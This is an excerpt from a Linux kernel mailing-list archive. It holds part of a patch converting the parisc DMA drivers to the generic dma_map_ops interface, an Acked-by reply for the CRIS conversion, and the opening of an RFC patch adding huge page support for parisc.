>  {
>  	unsigned long vaddr;
>  	unsigned long paddr;
> @@ -439,7 +440,8 @@ static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_ad
>  	return (void *)vaddr;
>  }
>  
> -static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vaddr, dma_addr_t dma_handle)
> +static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
> +		dma_addr_t dma_handle, struct dma_attrs *attrs)
>  {
>  	int order;
>  
> @@ -450,15 +452,20 @@ static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vad
>  	free_pages((unsigned long)__va(dma_handle), order);
>  }
>  
> -static dma_addr_t pa11_dma_map_single(struct device *dev, void *addr, size_t size, enum dma_data_direction direction)
> +static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
> +		unsigned long offset, size_t size,
> +		enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
> +	void *addr = page_address(page) + offset;
>  	BUG_ON(direction == DMA_NONE);
>  
>  	flush_kernel_dcache_range((unsigned long) addr, size);
>  	return virt_to_phys(addr);
>  }
>  
> -static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, size_t size, enum dma_data_direction direction)
> +static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
> +		size_t size, enum dma_data_direction direction,
> +		struct dma_attrs *attrs)
>  {
>  	BUG_ON(direction == DMA_NONE);
>  
> @@ -475,7 +482,9 @@ static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, siz
>  	return;
>  }
>  
> -static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
> +static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
> +		int nents, enum dma_data_direction direction,
> +		struct dma_attrs *attrs)
>  {
>  	int i;
>  	struct scatterlist *sg;
> @@ -492,7 +501,9 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
>  	return nents;
>  }
>  
> -static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
> +static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
> +		int nents, enum dma_data_direction direction,
> +		struct dma_attrs *attrs)
>  {
>  	int i;
>  	struct scatterlist *sg;
> @@ -509,18 +520,24 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
>  	return;
>  }
>  
> -static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
> +static void pa11_dma_sync_single_for_cpu(struct device *dev,
> +		dma_addr_t dma_handle, size_t size,
> +		enum dma_data_direction direction)
>  {
>  	BUG_ON(direction == DMA_NONE);
>  
> -	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
> +	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
> +			size);
>  }
>  
> -static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
> +static void pa11_dma_sync_single_for_device(struct device *dev,
> +		dma_addr_t dma_handle, size_t size,
> +		enum dma_data_direction direction)
>  {
>  	BUG_ON(direction == DMA_NONE);
>  
> -	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
> +	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
> +			size);
>  }
>  
>  static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
> @@ -545,32 +562,28 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
>  		flush_kernel_vmap_range(sg_virt(sg), sg->length);
>  }
>  
> -struct hppa_dma_ops pcxl_dma_ops = {
> +struct dma_map_ops pcxl_dma_ops = {
>  	.dma_supported =	pa11_dma_supported,
> -	.alloc_consistent =	pa11_dma_alloc_consistent,
> -	.alloc_noncoherent =	pa11_dma_alloc_consistent,
> -	.free_consistent =	pa11_dma_free_consistent,
> -	.map_single =		pa11_dma_map_single,
> -	.unmap_single =		pa11_dma_unmap_single,
> +	.alloc =		pa11_dma_alloc,
> +	.free =			pa11_dma_free,
> +	.map_page =		pa11_dma_map_page,
> +	.unmap_page =		pa11_dma_unmap_page,
>  	.map_sg =		pa11_dma_map_sg,
>  	.unmap_sg =		pa11_dma_unmap_sg,
> -	.dma_sync_single_for_cpu = pa11_dma_sync_single_for_cpu,
> -	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
> -	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
> -	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
> +	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
> +	.sync_single_for_device = pa11_dma_sync_single_for_device,
> +	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
> +	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
>  };
>  
> -static void *fail_alloc_consistent(struct device *dev, size_t size,
> -				   dma_addr_t *dma_handle, gfp_t flag)
> -{
> -	return NULL;
> -}
> -
> -static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
> -					  dma_addr_t *dma_handle, gfp_t flag)
> +static void *pcx_dma_alloc(struct device *dev, size_t size,
> +		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
>  {
>  	void *addr;
>  
> +	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
> +		return NULL;
> +
>  	addr = (void *)__get_free_pages(flag, get_order(size));
>  	if (addr)
>  		*dma_handle = (dma_addr_t)virt_to_phys(addr);
> @@ -578,24 +591,23 @@ static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
>  	return addr;
>  }
>  
> -static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
> -					void *vaddr, dma_addr_t iova)
> +static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
> +		dma_addr_t iova, struct dma_attrs *attrs)
>  {
>  	free_pages((unsigned long)vaddr, get_order(size));
>  	return;
>  }
>  
> -struct hppa_dma_ops pcx_dma_ops = {
> +struct dma_map_ops pcx_dma_ops = {
>  	.dma_supported =	pa11_dma_supported,
> -	.alloc_consistent =	fail_alloc_consistent,
> -	.alloc_noncoherent =	pa11_dma_alloc_noncoherent,
> -	.free_consistent =	pa11_dma_free_noncoherent,
> -	.map_single =		pa11_dma_map_single,
> -	.unmap_single =		pa11_dma_unmap_single,
> +	.alloc =		pcx_dma_alloc,
> +	.free =			pcx_dma_free,
> +	.map_page =		pa11_dma_map_page,
> +	.unmap_page =		pa11_dma_unmap_page,
>  	.map_sg =		pa11_dma_map_sg,
>  	.unmap_sg =		pa11_dma_unmap_sg,
> -	.dma_sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
> -	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
> -	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
> -	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
> +	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
> +	.sync_single_for_device = pa11_dma_sync_single_for_device,
> +	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
> +	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
>  };
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 957b421..a4c7153 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -788,18 +788,27 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
>  	return CCIO_IOVA(iovp, offset);
>  }
>  
> +
> +static dma_addr_t 
> +ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
> +		size_t size, enum dma_data_direction direction,
> +		struct dma_attrs *attrs)
> +{
> +	return ccio_map_single(dev, page_address(page) + offset, size,
> +			direction);
> +}
> +
> +
>  /**
> - * ccio_unmap_single - Unmap an address range from the IOMMU.
> + * ccio_unmap_page - Unmap an address range from the IOMMU.
>   * @dev: The PCI device.
>   * @addr: The start address of the DMA region.
>   * @size: The length of the DMA region.
>   * @direction: The direction of the DMA transaction (to/from device).
> - *
> - * This function implements the pci_unmap_single function.
>   */
>  static void 
> -ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size, 
> -		  enum dma_data_direction direction)
> +ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size, 
> +		enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  	unsigned long flags; 
> @@ -828,7 +837,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>  }
>  
>  /**
> - * ccio_alloc_consistent - Allocate a consistent DMA mapping.
> + * ccio_alloc - Allocate a consistent DMA mapping.
>   * @dev: The PCI device.
>   * @size: The length of the DMA region.
>   * @dma_handle: The DMA address handed back to the device (not the cpu).
> @@ -836,7 +845,8 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>   * This function implements the pci_alloc_consistent function.
>   */
>  static void * 
> -ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
> +ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
> +		struct dma_attrs *attrs)
>  {
>        void *ret;
>  #if 0
> @@ -860,7 +870,7 @@ ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, g
>  }
>  
>  /**
> - * ccio_free_consistent - Free a consistent DMA mapping.
> + * ccio_free - Free a consistent DMA mapping.
>   * @dev: The PCI device.
>   * @size: The length of the DMA region.
>   * @cpu_addr: The cpu address returned from the ccio_alloc_consistent.
> @@ -869,10 +879,10 @@ ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, g
>   * This function implements the pci_free_consistent function.
>   */
>  static void 
> -ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr, 
> -		     dma_addr_t dma_handle)
> +ccio_free(struct device *dev, size_t size, void *cpu_addr,
> +		dma_addr_t dma_handle, struct dma_attrs *attrs)
>  {
> -	ccio_unmap_single(dev, dma_handle, size, 0);
> +	ccio_unmap_page(dev, dma_handle, size, 0, NULL);
>  	free_pages((unsigned long)cpu_addr, get_order(size));
>  }
>  
> @@ -899,7 +909,7 @@ ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr,
>   */
>  static int
>  ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
> -	    enum dma_data_direction direction)
> +	    enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  	int coalesced, filled = 0;
> @@ -976,7 +986,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>   */
>  static void 
>  ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
> -	      enum dma_data_direction direction)
> +	      enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  
> @@ -995,27 +1005,22 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  #ifdef CCIO_COLLECT_STATS
>  		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
>  #endif
> -		ccio_unmap_single(dev, sg_dma_address(sglist),
> -				  sg_dma_len(sglist), direction);
> +		ccio_unmap_page(dev, sg_dma_address(sglist),
> +				  sg_dma_len(sglist), direction, NULL);
>  		++sglist;
>  	}
>  
>  	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
>  }
>  
> -static struct hppa_dma_ops ccio_ops = {
> +static struct dma_map_ops ccio_ops = {
>  	.dma_supported =	ccio_dma_supported,
> -	.alloc_consistent =	ccio_alloc_consistent,
> -	.alloc_noncoherent =	ccio_alloc_consistent,
> -	.free_consistent =	ccio_free_consistent,
> -	.map_single =		ccio_map_single,
> -	.unmap_single =		ccio_unmap_single,
> +	.alloc =		ccio_alloc,
> +	.free =			ccio_free,
> +	.map_page =		ccio_map_page,
> +	.unmap_page =		ccio_unmap_page,
>  	.map_sg = 		ccio_map_sg,
>  	.unmap_sg = 		ccio_unmap_sg,
> -	.dma_sync_single_for_cpu =	NULL,	/* NOP for U2/Uturn */
> -	.dma_sync_single_for_device =	NULL,	/* NOP for U2/Uturn */
> -	.dma_sync_sg_for_cpu =		NULL,	/* ditto */
> -	.dma_sync_sg_for_device =		NULL,	/* ditto */
>  };
>  
>  #ifdef CONFIG_PROC_FS
> @@ -1064,7 +1069,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
>  			   ioc->msingle_calls, ioc->msingle_pages,
>  			   (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
>  
> -		/* KLUGE - unmap_sg calls unmap_single for each mapped page */
> +		/* KLUGE - unmap_sg calls unmap_page for each mapped page */
>  		min = ioc->usingle_calls - ioc->usg_calls;
>  		max = ioc->usingle_pages - ioc->usg_pages;
>  		seq_printf(m, "pci_unmap_single: %8ld calls  %8ld pages (avg %d/1000)\n",
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 225049b..24ec9b8 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -780,8 +780,18 @@ sba_map_single(struct device *dev, void *addr, size_t size,
>  }
>  
>  
> +static dma_addr_t 
> +sba_map_page(struct device *dev, struct page *page, unsigned long offset,
> +		size_t size, enum dma_data_direction direction,
> +		struct dma_attrs *attrs)
> +{
> +	return sba_map_single(dev, page_address(page) + offset, size,
> +			direction);
> +}
> +
> +
>  /**
> - * sba_unmap_single - unmap one IOVA and free resources
> + * sba_unmap_page - unmap one IOVA and free resources
>   * @dev: instance of PCI owned by the driver that's asking.
>   * @iova:  IOVA of driver buffer previously mapped.
>   * @size:  number of bytes mapped in driver buffer.
> @@ -790,8 +800,8 @@ sba_map_single(struct device *dev, void *addr, size_t size,
>   * See Documentation/DMA-API-HOWTO.txt
>   */
>  static void
> -sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
> -		 enum dma_data_direction direction)
> +sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
> +		enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  #if DELAYED_RESOURCE_CNT > 0
> @@ -858,15 +868,15 @@ sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>  
>  
>  /**
> - * sba_alloc_consistent - allocate/map shared mem for DMA
> + * sba_alloc - allocate/map shared mem for DMA
>   * @hwdev: instance of PCI owned by the driver that's asking.
>   * @size:  number of bytes mapped in driver buffer.
>   * @dma_handle:  IOVA of new buffer.
>   *
>   * See Documentation/DMA-API-HOWTO.txt
>   */
> -static void *sba_alloc_consistent(struct device *hwdev, size_t size,
> -					dma_addr_t *dma_handle, gfp_t gfp)
> +static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
> +		gfp_t gfp, struct dma_attrs *attrs)
>  {
>  	void *ret;
>  
> @@ -888,7 +898,7 @@ static void *sba_alloc_consistent(struct device *hwdev, size_t size,
>  
>  
>  /**
> - * sba_free_consistent - free/unmap shared mem for DMA
> + * sba_free - free/unmap shared mem for DMA
>   * @hwdev: instance of PCI owned by the driver that's asking.
>   * @size:  number of bytes mapped in driver buffer.
>   * @vaddr:  virtual address IOVA of "consistent" buffer.
> @@ -897,10 +907,10 @@ static void *sba_alloc_consistent(struct device *hwdev, size_t size,
>   * See Documentation/DMA-API-HOWTO.txt
>   */
>  static void
> -sba_free_consistent(struct device *hwdev, size_t size, void *vaddr,
> -		    dma_addr_t dma_handle)
> +sba_free(struct device *hwdev, size_t size, void *vaddr,
> +		    dma_addr_t dma_handle, struct dma_attrs *attrs)
>  {
> -	sba_unmap_single(hwdev, dma_handle, size, 0);
> +	sba_unmap_page(hwdev, dma_handle, size, 0, NULL);
>  	free_pages((unsigned long) vaddr, get_order(size));
>  }
>  
> @@ -933,7 +943,7 @@ int dump_run_sg = 0;
>   */
>  static int
>  sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
> -	   enum dma_data_direction direction)
> +	   enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  	int coalesced, filled = 0;
> @@ -1016,7 +1026,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>   */
>  static void 
>  sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
> -	     enum dma_data_direction direction)
> +	     enum dma_data_direction direction, struct dma_attrs *attrs)
>  {
>  	struct ioc *ioc;
>  #ifdef ASSERT_PDIR_SANITY
> @@ -1040,7 +1050,8 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  
>  	while (sg_dma_len(sglist) && nents--) {
>  
> -		sba_unmap_single(dev, sg_dma_address(sglist), sg_dma_len(sglist), direction);
> +		sba_unmap_page(dev, sg_dma_address(sglist), sg_dma_len(sglist),
> +				direction, NULL);
>  #ifdef SBA_COLLECT_STATS
>  		ioc->usg_pages += ((sg_dma_address(sglist) & ~IOVP_MASK) + sg_dma_len(sglist) + IOVP_SIZE - 1) >> PAGE_SHIFT;
>  		ioc->usingle_calls--;	/* kluge since call is unmap_sg() */
> @@ -1058,19 +1069,14 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  
>  }
>  
> -static struct hppa_dma_ops sba_ops = {
> +static struct dma_map_ops sba_ops = {
>  	.dma_supported =	sba_dma_supported,
> -	.alloc_consistent =	sba_alloc_consistent,
> -	.alloc_noncoherent =	sba_alloc_consistent,
> -	.free_consistent =	sba_free_consistent,
> -	.map_single =		sba_map_single,
> -	.unmap_single =		sba_unmap_single,
> +	.alloc =		sba_alloc,
> +	.free =			sba_free,
> +	.map_page =		sba_map_page,
> +	.unmap_page =		sba_unmap_page,
>  	.map_sg =		sba_map_sg,
>  	.unmap_sg =		sba_unmap_sg,
> -	.dma_sync_single_for_cpu =	NULL,
> -	.dma_sync_single_for_device =	NULL,
> -	.dma_sync_sg_for_cpu =		NULL,
> -	.dma_sync_sg_for_device =	NULL,
>  };
>  
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: Re: [PATCH 06/16] cris: convert to dma_map_ops
Date: Wed, 11 Nov 2015 16:07:36 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20151111150736.GT22903@axis.com>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
 <1447093041-21832-7-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1447254506 3027 80.91.229.3 (11 Nov 2015 15:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Nov 2015 15:08:26 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	"linux-snps-arc@lists.infraded.org" 
	<linux-snps-arc@lists.infraded.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	linux-cris-kernel <linux-cris-kernel@axis.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
	"linux-metag@vger.kernel.org" <linux-metag@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	"iommu@lists.linux-foundation.org" <iommu@lists.linux-foundation.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Nov 11 16:08:23 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZwWzv-00038P-Q0
	for glpm-linux-m68k@plane.gmane.org; Wed, 11 Nov 2015 16:07:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752225AbbKKPHn (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 11 Nov 2015 10:07:43 -0500
Original-Received: from bastet.se.axis.com ([195.60.68.11]:55581 "EHLO
	bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752188AbbKKPHm (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 11 Nov 2015 10:07:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bastet.se.axis.com (Postfix) with ESMTP id 6CA19180D1;
	Wed, 11 Nov 2015 16:07:40 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
	by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 7Y-MdkpBTGBP; Wed, 11 Nov 2015 16:07:39 +0100 (CET)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
	by bastet.se.axis.com (Postfix) with ESMTP id CA441180BA;
	Wed, 11 Nov 2015 16:07:36 +0100 (CET)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
	by postfix.imss71 (Postfix) with ESMTP id 9682B13A3;
	Wed, 11 Nov 2015 16:07:36 +0100 (CET)
Original-Received: from thoth.se.axis.com (thoth.se.axis.com [10.0.2.173])
	by boulder.se.axis.com (Postfix) with ESMTP id 893F2B7;
	Wed, 11 Nov 2015 16:07:36 +0100 (CET)
Original-Received: from battery-1.se.axis.com (battery-1.se.axis.com [10.0.8.110])
	by thoth.se.axis.com (Postfix) with ESMTP id 83D4334216;
	Wed, 11 Nov 2015 16:07:36 +0100 (CET)
Original-Received: by battery-1.se.axis.com (Postfix, from userid 363)
	id 77F0C624B; Wed, 11 Nov 2015 16:07:36 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1447093041-21832-7-git-send-email-hch@lst.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7606 gmane.linux.ports.parisc:26148 gmane.linux.kernel.metag:667 gmane.linux.ports.sparc:21775 gmane.linux.kernel.iommu:11470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7606>

On Mon, Nov 09, 2015 at 07:17:11PM +0100, Christoph Hellwig wrote:
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Looks good for CRIS,

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com

From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH, RFC] parisc: Add huge page support for parisc
Date: Sun, 15 Nov 2015 23:13:04 +0100
Lines: 551
Approved: news@gmane.org
Message-ID: <20151115221304.GA8881@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1447625613 19583 80.91.229.3 (15 Nov 2015 22:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Nov 2015 22:13:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 15 23:13:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zy5Y4-0000Hy-R2
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Nov 2015 23:13:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751722AbbKOWNX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Nov 2015 17:13:23 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:60290 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751560AbbKOWNW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Nov 2015 17:13:22 -0500
Original-Received: from ls3530.box ([92.203.72.175]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MVdfD-1Zsze3069v-00Z3ME; Sun, 15 Nov 2015 23:13:12
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:GMVwClj4Xig2RKv241IeWrNzGPPbJ4n/rvjdceXjEiUfGrwJLXM
 QMjNyj835z0WamWLROz0cQDaH4a1M+j1gE2zS5boWFhiD/b+WqoAhWX6FCfNylq5LYOeAQ7
 KJ3Bop/3wpckWew5DshRxLjqzFtvPUA1L14nC75foRPsDca76DIXfERHP4u4wFsMpbATlSX
 Yxv6k6JCzm3kIdk3u87pg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9qo0Cv4iE4o=:6FUIc+r84HTQjOrFEoZQqI
 rnbpv6J1rQ162qI+SZkMgeX+tmbn97dk1wBwfcIetBTzfaU4Kq+o+AWYcPnkC4ErDQpYwYAnl
 RdBJ7CfxoeFjvbFGS41qYdmzLiMyDY/pAUBrHjxD7ih7Dc7B/LoAzxae9VrjAYwUGhr+l0Ivz
 QP39BI+6Q/IwbP535Ktq7scqp/9fJYnInULPyr4U18GJy/5p7QIOvXvLYuFZCylHNP/bg7Q4X
 arvpOvUcWlxR6CkVoavtIghc61Tu/v9ADJ7bUsQ5Yh4P7EqJv0a01UpRZRHl6aU/t4G2FPp/n
 KjBWhSzyxbF5WUBZtxtXE5w5o0ZU1e4TsSW+oeEXZmoukDKgGhw9NSbY+Xfzhk2S7kkpji0XL
 uZA3Xtp2T+XiAmkhQLeSfNjxj0SxRX67QNSEZ/5JR2lIRAMgvbQOiCMcUkCO/cjAuDpGVaoIP
 WRUgIG8mYqKxz/R30YRDM9fu4lUaKfDnyneTPeOOaiMPQUzDtMuqcZ9QqQT8+JV9cqPUTXy5T
 IMAM3sPpoZkxteJQEVW+WOmisBjW0yGbzP+v17s09Fy6Iaez5EjtWwYpaOAk0Dw3rSJgfsN+X
 8hzw7PnVMZbArXxHiw1WyEXpUdJxjQ7gU6Y+STVnvf1Galdg00w5kB5wRRxzo1IweeVWapF3K
 N5HElr7jlOqmzdcxlXZp0p2CAn++MW8asyU61/0JLWg8W8F4R4gmc3CTaEVjb3Stz/K/oMxLq
 t2GAzknMjH+CcNQwyeyNmr1NhvMdaLAMSqL3h50g3SSbm5lle7ubV6eDqNo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26149>

This is an initial working version of getting huge pages support on
parisc.

Can be pulled from my "hugetlb_hppa3" branch of my git tree as well:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=hugetlb_hppa3

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index c365469..2278497 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -108,6 +108,9 @@ config PGTABLE_LEVELS
 	default 3 if 64BIT && PARISC_PAGE_SIZE_4KB
 	default 2
 
+config SYS_SUPPORTS_HUGETLBFS
+	def_bool y if 64BIT
+
 source "init/Kconfig"
 
 source "kernel/Kconfig.freezer"
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
new file mode 100644
index 0000000..7d56a9c
--- /dev/null
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -0,0 +1,85 @@
+#ifndef _ASM_PARISC64_HUGETLB_H
+#define _ASM_PARISC64_HUGETLB_H
+
+#include <asm/page.h>
+#include <asm-generic/hugetlb.h>
+
+
+void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		     pte_t *ptep, pte_t pte);
+
+pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
+			      pte_t *ptep);
+
+static inline int is_hugepage_only_range(struct mm_struct *mm,
+					 unsigned long addr,
+					 unsigned long len) {
+	return 0;
+}
+
+/*
